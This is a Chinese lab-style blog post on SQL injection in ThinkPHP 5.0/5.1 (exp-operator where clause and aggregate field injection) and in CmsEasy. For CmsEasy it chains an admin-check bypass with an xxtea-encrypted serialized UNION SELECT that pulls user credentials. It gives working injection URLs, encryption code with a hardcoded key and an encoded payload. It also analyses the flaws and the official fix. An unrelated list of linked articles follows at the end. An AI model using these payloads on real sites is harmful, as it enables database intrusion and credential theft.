ThinkPHP5.1.C+CmsEasy-SQL注入
目录
1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)
1.1环境配置
1.1.1将 composer.json 文件的 require 字段设置成如下:
1.1.2设置application/index/controller/Index.php 文件
1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。编辑编辑
1.1.4Payload触发SQL注入
1.2漏洞分析
2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)
2.1漏洞环境
2.1.1将 composer.json 文件的 require 字段设置成如下:
2.1.2并配置 application/index/controller/Index.php
2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace
编辑
2.1.4漏洞利用
2.2漏洞分析
2.3漏洞修复
3、cms的sql注入
3.1第一个漏洞,未授权登录
3.1.1查看admin.php,发现构造函数可以跳过admin的限制
3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以
3.2接下来如何编写?
3.2.1.先写安全码
3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行
3.2.3访问页面
3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参
1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)
1.1环境配置
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本
1.1.1将 composer.json 文件的 require 字段设置成如下:
"require": {"php": ">=5.4.0","topthink/framework": "5.0.15"
}
1.1.2设置application/index/controller/Index.php 文件
<?php
namespace app\index\controller;class Index
{public function index(){$username = request()->get('username');$result = db('users')->where('username','exp',$username)->select();return 'select success';}
}
1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。
并在数据库中创建好users表

1.1.4Payload触发SQL注入
http://127.0.0.1/think/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
1.2漏洞分析
程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,然后进到thinkphp/helper.php中的db方法,再进到thinkphp/library/think/db/Query.php中where方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句


此处调用$this->builder的select方法,而此处$this->builder 为think/db/builder/Mysql类,继承于Builder类,因此调用的是Builder类的select方法

在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据,跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数,此处 $where 经过 buildWhere 方法处理后返回 $whereStr,期间调用 parseWhereItem 方法


继续跟进 buildWhere 函数,发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。我们发现当操作符等于 EXP 时,将来自用户的数据直接拼接进了 SQL 语句,最终导致了 SQL注入漏洞 。

2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)
2.1漏洞环境
本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22
2.1.1将 composer.json 文件的 require 字段设置成如下:
"require": {"php": ">=5.6.0","topthink/framework": "5.1.25"
}
2.1.2并配置 application/index/controller/Index.php
<?php
namespace app\index\controller;class Index
{public function index(){$options = request()->get('options');$result = db('users')->max($options);var_dump($result);}
}
2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace
create database tpdemo;
use tpdemo;
create table users(id int primary key auto_increment,username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');
2.1.4漏洞利用
index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23

2.2漏洞分析
用户可控数据未经过滤,传入 Query 类的 max 方法进行聚合查询语句构造,接着调用本类的 aggregate 方法,本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 SQL 注入问题,我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法,在该方法中,我们可以明显看到程序将用户可控变量 $field 经过 parseKey 方法处理后,与 SQL 语句进行了拼接。下面就来具体看看 parseKey 方法


Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法 ,该方法会调用 Builder 类的 select 方法来构造 SQL 语句
经过一个拼接得到的$field=MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max
然后看value(),其中最重要的就是生成SQL语句处
$sql=$this->builder->select(%query);
Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),
将$field数组的值逐个传入parseKey中检查,然后再往$array中添加值,$array数组以逗号合并起来,得到$fieldStr

上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则
2.3漏洞修复
官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。

3、cms的sql注入
先搭建环境成功登录网站

3.1第一个漏洞,未授权登录
3.1.1查看admin.php,发现构造函数可以跳过admin的限制

http://127.0.0.1/cms/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1
这样就完全符合构造函数的要求,可以进入网站后台,拿到cookie安全码

$args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
$user=$user->getrow(unserialize($args));
注释:cookie_password这里先拿到网站的安全码,在把你的提交$args经过base64_decode的解码,在xtea_decrypt这个函数进行解密,全部解密后在进行一个反序列化unserialize,反序列化用getrow方法查询到的结果获取数据库第一行
3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以
<?php
function xxtea_encrypt($str, $key) {if ($str == "") {return "";}$v = str2long($str, true);$k = str2long($key, false);if (count($k) < 4) {for ($i = count($k); $i < 4; $i++) {$k[$i] = 0;}}$n = count($v) - 1;$z = $v[$n];$y = $v[0];$delta = 0x9E3779B9;$q = floor(6 + 52 / ($n + 1));$sum = 0;while (0 < $q--) {$sum = int32($sum + $delta);$e = $sum >> 2 & 3;for ($p = 0; $p < $n; $p++) {$y = $v[$p + 1];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$p] = int32($v[$p] + $mx);}$y = $v[0];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$n] = int32($v[$n] + $mx);}return long2str($v, false);
}function str2long($s, $w) {$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));$v = array_values($v);if ($w) {$v[count($v)] = strlen($s);}return $v;
}function long2str($v, $w) {$len = count($v);$n = ($len - 1) << 2;if ($w) {$m = $v[$len - 1];if (($m < $n - 3) || ($m > $n)) return false;$n = $m;}$s = array();for ($i = 0; $i < $len; $i++) {$s[$i] = pack("V", $v[$i]);}if ($w) {return substr(join('', $s), 0, $n);}else {return join('', $s);}
}function int32($n) {while ($n >= 2147483648) $n -= 4294967296;while ($n <= -2147483649) $n += 4294967296;return (int)$n;
}
3.2接下来如何编写?
3.2.1.先写安全码
3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行

在index.php开头添加以下代码:$key = '9a35ab2c5b5926c5dd4b29adc840df1c';$table = array( 'userid`=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1#'
);echo base64_encode(xxtea_encrypt(serialize($table), $key));
echo base64_encode(xxtea_encrypt(serialize($table), $key));
要和前面顺序相反,先序列号在加密在解码
3.2.3访问页面

3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参
te=default
a8DEYpBZyT5V3k16gb9MEL96E%2bCifLZChPA65C7qa4SyDMA0flrrsPkHG6fNuBMrLiq9854vDajpNlL65AyrtEiqhcdIlrFr7hZLpGdeQMQLxHQEOKWCWoadMry14kySpCg4TR0%2fPmh0hvOLY1tkmbNvS7wjCy2EarMtT8JOtlGFMdbIgMBNK%2fMasTNEvWuUbJsWE%2fLzs8hasQc9
正常运行后会产生以下信息
这里只拿到了名字,密码还没拿到,还在解决
相关文章:
ThinkPHP5.1.C+CmsEasy-SQL注入
目录 1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入) 1.1环境配置 1.1.1将 composer.json 文件的 require 字段设置成如下: 1.1.2设置application/index/controller/Index.php 文件 1.1.3在 application/database.php 文件中配置…...
Python 绘图进阶之词云图:文本数据的可视化艺术
Python 绘图进阶之词云图:文本数据的可视化艺术 引言 在数据科学和自然语言处理领域,词云图(Word Cloud)是一种常用的可视化工具。它通过直观的图形展示文本数据中的高频词汇,使得我们能够快速抓住文本内容的核心主题…...
【Windows】Q-Dir(资源管理器)软件介绍
软件介绍 Q-Dir是一款免费的文件管理器软件,它可以让您更方便地浏览和管理计算机上的文件和文件夹。与Windows自带的资源管理器相比,Q-Dir具有更多的功能和选项。 安装教程 软件下载完成,解压软件。 点击Q-Dir.exe即可打开软件。 功能…...
什么是令牌桶算法?工作原理是什么?使用它有哪些优点和注意事项?
大家好,我是鸭鸭! 此答案节选自鸭鸭最近弄的面试刷题神器面试鸭 ,更多大厂常问面试题,可以点击下面的小程序进行阅读哈! 目前这个面试刷题小程序刚出,有网页和小程序双端可以使用! 回归面试题…...
C++-类与对象(中上篇)
一、目标 1. 类的 6 个默认成员函数 2. 构造函数 3. 析构函数 二、对目标的介绍 1. 类的6个默认成员函数 如果一个类中什么成员都没有,简称为空类。 空类中真的什么都没有吗?并不是,任何类在什么都不写时,编译器会自动生…...
链表 206.反转链表
一般方法 不需要一个个来回换,只需要改变链表的指向,即可完成 一个链表的头节点,也代表了整个链表 class Solution {public ListNode reverseList(ListNode head) {ListNode temp;ListNode cur head;ListNode pre null;while(cur ! null…...
Ubuntu18.04 配置EtherCAT主站IGH SOEM
IGH IGH 是开源的EtherCAT 主站软件 一、安装依赖 sudo apt update sudo apt install build-essential linux-headers-$(uname -r) mercurial autoconf libtool 也不知道安装的完全不完全 uname -r 可以查看内核,我安装的ubuntu18.04的内核版本是 5.4.0-84-gen…...
航空航天构型管理
构型管理(CM)被定义为在产品的生命周期中应用的SE技术和管理规程。CM的五个原则是:CM计划与执行、配置识别、配置变更和差异控制、配置状态核算和配置验证。 广义上的构型管理规划和管理是有效实施配置管理的关键。特别是在不同项目之间的差异中,构型管理…...
Visual Studio Code 安装与 C/C++ 语言运行总结
大家好,我是程序员小羊! 前言: Visual Studio Code(简称 VS Code)是由微软开发的一款轻量级、强大的代码编辑器,支持多种编程语言和开发框架。由于其丰富的插件生态系统和灵活的配置选项,VS…...
Science Robotics 受鳞片启发的可编程机器人结构,可同时进行形状变形和刚度变化
一、前言速览 生物有机体通常凭借复杂的结构表现出显著的多功能性,例如章鱼具有可以同时改变形状和刚度的能力。现有的仿生软体机器人要想实现这样的能力,往往需要繁琐的结构和复杂的控制系统。为此,来自新加坡南洋理工大学的研究人员从覆盖…...
SpringBoot 自定义 Starter 实现
一、定义,什么是Starter SpringBoot Starter 是”一站式服务(one-stop service)“的依赖 Jar 包: 包含 Spring 以及相关技术(比如Redis)的所有依赖提供了自动配置的功能,开箱即用提供了良好的…...
「Spring MVC」Session、Cookie
🎇个人主页:Ice_Sugar_7 🎇所属专栏:JavaEE 🎇欢迎点赞收藏加关注哦! Spring MVC 🍉Session & Cookie🍌联系与区别 🍉获取 Cookie🍉存储 & 获取 Sess…...
Java虚拟机:垃圾回收器
大家好,我是栗筝i,这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 037 篇文章,在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验,并希望进一步完善自己对整个 Java 技术体系来充实自…...
ES6-ES13学习笔记
初识ES6 ECMAScript 6.0(以下简称 ES6)是 JavaScript 语言的下一代标准,已经在 2015 年 6 月正式发布了。它的目标,是使得 JavaScript 语言可以用来编写复杂的大型应用程序,成为企业级开发语言。 1997年:EC…...
【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置
【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置 文章目录 控件安装和模块导入在ui上添加QChartView控件QChartView图表配置附录:C语言到C的入门知识点(主要适用于C语言精通到Qt的C开发入门)C语言与C的不同C中写C语言代码…...
Android14 屏幕录制(屏幕投影)和音频播放采集
Android 5开始支持屏幕采集, Android 10支持音频播放采集,不过Android 14用前台服务做屏幕录制时要增加一些处理. 1. app manifest 需要增加: <manifest><uses-permission android:name"android.permission.FOREGROUND_SERVICE" /><uses…...
一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶
一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 文章目录 前言一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 一、HKELM模型1. 极限学习机(ELM࿰…...
redis面试(十五)公平锁队列重排
队列重拍 先说一下当前的加锁状态 anyLock由客户端A持有队列中是客户端B、客户端C并且客户端B现在是排在头部 那么队列重拍就是队列中某个客户端长时间没有重新申请加锁,没有刷新分数,就会被队列中挤掉。 假设这个长时间没有加锁的客户端是B。 总结 …...
python 基础语法os模块
一、os模块 待总结 二、os.path模块 1.abspath()方法--获取绝对路径 abspathO)方法用于返回文件或者目录的绝对路径。 语法格式如下: os .path.abspath(path) 参数说明: path:表示要获取绝对路径的相对路径,可以是文件也可以是目录。 返回值:返回获取到的绝…...
图论------迪杰斯特拉(Dijkstra)算法求单源最短路径。
编程要求 在图的应用中,有一个很重要的需求:我们需要知道从某一个点开始,到其他所有点的最短路径。这其中,Dijkstra 算法是典型的最短路径算法。 本关的编程任务是补全右侧代码片段中 Begin 至 End 中间的代码,实现 …...
基于浏览器自动化的高级爬虫框架autoclaw实战指南
1. 项目概述与核心价值最近在折腾自动化脚本时,发现了一个挺有意思的GitHub项目,叫jmoraispk/autoclaw。乍一看名字,可能会联想到“自动爪子”或者“爬虫”,实际上,它也确实是一个专注于自动化网页交互和数据抓取的工具…...
从SPICE到Q-SPICE:四阶累积量如何重塑阵列信号处理的超分辨能力
1. 从SPICE到Q-SPICE:为什么我们需要四阶累积量? 我第一次接触SPICE算法是在处理雷达信号的时候。当时团队遇到一个头疼的问题:在强噪声环境下,传统算法就像近视眼观察星空,明明知道那里有信号,却怎么也分辨…...
Systemback不只是备份:手把手教你修复Ubuntu启动项(GRUB)和fstab文件
Systemback系统救援实战:从GRUB修复到fstab配置急救指南 当Ubuntu系统突然拒绝启动,屏幕上只剩下闪烁的光标或是令人心碎的"GRUB rescue>"提示符时,大多数用户的第一反应往往是重装系统。但你可能不知道,Systemback这…...
OpenClawBox:构建统一AI网关,实现多模型智能路由与成本优化
1. 项目概述:从零到一,打造你的个人AI路由中枢 如果你和我一样,在深度使用各类大语言模型(LLM)时,常常陷入一种甜蜜的烦恼:ChatGPT-4o的推理能力无与伦比,但价格不菲;Cl…...
MCA Selector技术架构深度解析:Minecraft区块管理系统的实现原理
MCA Selector技术架构深度解析:Minecraft区块管理系统的实现原理 【免费下载链接】mcaselector A tool to select chunks from Minecraft worlds for deletion or export. 项目地址: https://gitcode.com/gh_mirrors/mc/mcaselector MCA Selector是一款专为M…...
从仿真到调试:FSDB与VPD波形文件的生成与高效查看指南
1. 数字IC验证中的波形文件:为什么它们如此重要? 在数字IC验证的世界里,波形文件就像是工程师的"显微镜"。想象一下,你正在调试一个复杂的RTL设计,代码运行了,但结果不对。这时候,如果…...
请教指针初始化:定义指针时,要么直接指向有效内存,要么置为NULL
在技术领域,我们常常被那些闪耀的、可见的成果所吸引。今天,这个焦点无疑是大语言模型技术。它们的流畅对话、惊人的创造力,让我们得以一窥未来的轮廓。然而,作为在企业一线构建、部署和维护复杂系统的实践者,我们深知…...
别再死记硬背PID公式了!用Python+MATLAB手把手带你调参,搞定线性系统校正
别再死记硬背PID公式了!用PythonMATLAB手把手带你调参,搞定线性系统校正 记得第一次接触PID控制时,教授在黑板上写满微分方程和传递函数,而我只想知道——这些参数到底该怎么调?直到在实验室通宵调试平衡小车时&#x…...
保姆级教程:在Ubuntu 20.04上用PyTorch 1.12和YOLOv5s完整训练COCO数据集(附时间预估与常见坑点)
从零开始:Ubuntu 20.04下YOLOv5s训练COCO数据集的实战指南 引言 在计算机视觉领域,目标检测一直是核心研究方向之一。YOLO(You Only Look Once)系列算法因其出色的实时性和准确性,成为工业界和学术界的宠儿。本文将带你从零开始,在…...
保姆级教程:在Ubuntu 20.04上用YOLOv5 v6.2训练你自己的COCO数据集(附完整数据准备流程)
在Ubuntu 20.04上从零构建YOLOv5 v6.2自定义训练环境的完整指南 当你想在本地工作站或云服务器上训练自己的目标检测模型时,YOLOv5无疑是最受欢迎的选择之一。但许多教程都假设你已经熟悉了Linux环境配置、数据集处理等前置知识,这让不少初学者在第一步…...



